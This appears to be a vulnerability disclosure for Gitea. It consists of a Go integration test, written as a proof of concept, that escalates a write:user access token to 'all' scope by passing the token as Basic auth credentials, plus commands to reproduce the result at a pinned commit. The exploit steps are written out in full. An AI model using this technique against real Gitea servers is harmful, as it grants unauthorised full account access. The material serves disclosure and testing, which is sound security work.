Gitea: Privilege Escalation via Access Token Scope Escalation in API

 1package integration
 2 
 3import (
 4	"net/http"
 5	"testing"
 6 
 7	auth_model "gitea.dev/models/auth"
 8	"gitea.dev/models/unittest"
 9	user_model "gitea.dev/models/user"
10	api "gitea.dev/modules/structs"
11	"gitea.dev/tests"
12 
13	"github.com/stretchr/testify/assert"
14	"github.com/stretchr/testify/require"
15)
16 
17// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
18// interconnected vulnerabilities that together allow full scope escalation:
19//
20//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
21//     the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
22//     handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
23//     even though the credential is a token, not a password.
24//
25//  2. CreateAccessToken performs no scope-ceiling check — it never verifies that
26//     the requested scopes are a subset of the caller's token scopes.
27//
28// Combined effect: an attacker with a write:user-scoped token can create a new
29// token with the "all" scope, gaining full access to the account.
30func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
31	defer tests.PrepareTestEnv(t)()
32 
33	// Non-admin user — escalation is meaningful and not trivially justified.
34	user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
35 
36	// Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
37	// Only write:user scope is granted; repository, admin, etc. are excluded.
38	restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
39		[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
40	defer deleteAPIAccessToken(t, restrictedToken, user)
41 
42	// Confirm the restricted token is blocked from repository-scoped endpoints.
43	// This establishes the baseline: write:user does not imply read:repository.
44	req := NewRequest(t, "GET", "/api/v1/repos/search").
45		AddTokenAuth(restrictedToken.Token)
46	MakeRequest(t, req, http.StatusForbidden)
47 
48	// Step 2 — Exploit: supply the restricted token as Basic auth credentials.
49	// Authorization: Basic base64("<token>:x-oauth-basic")
50	//
51	// Basic.Verify() validates the token and returns the user. group.Verify() then
52	// sets AuthedMethod="basic" (the method name). auth.go maps that to
53	// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
54	// password was provided. CreateAccessToken then creates the token with the
55	// requested "all" scope without checking whether it exceeds the caller's scope.
56	payload := map[string]any{
57		"name":   "poc-escalated",
58		"scopes": []string{"all"},
59	}
60	req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
61	req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")
62 
63	// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
64	// but is currently 201, confirming the vulnerability.
65	resp := MakeRequest(t, req, http.StatusCreated)
66 
67	escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
68	require.NotNil(t, escalatedToken)
69	defer deleteAPIAccessToken(t, *escalatedToken, user)
70 
71	// Step 3 — The escalated token carries the "all" scope.
72	assert.Contains(t, escalatedToken.Scopes, "all",
73		"escalated token scope must be 'all'; original token only had write:user")
74 
75	// Step 4 — The escalated token can now reach endpoints blocked to the original
76	// token, confirming real privilege gain beyond write:user.
77	req = NewRequest(t, "GET", "/api/v1/repos/search").
78		AddTokenAuth(escalatedToken.Token)
79	MakeRequest(t, req, http.StatusOK)
80}

 1git clone https://github.com/go-gitea/gitea
 2cd gitea
 3git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e
 4 
 5# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.
 6 
 7go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/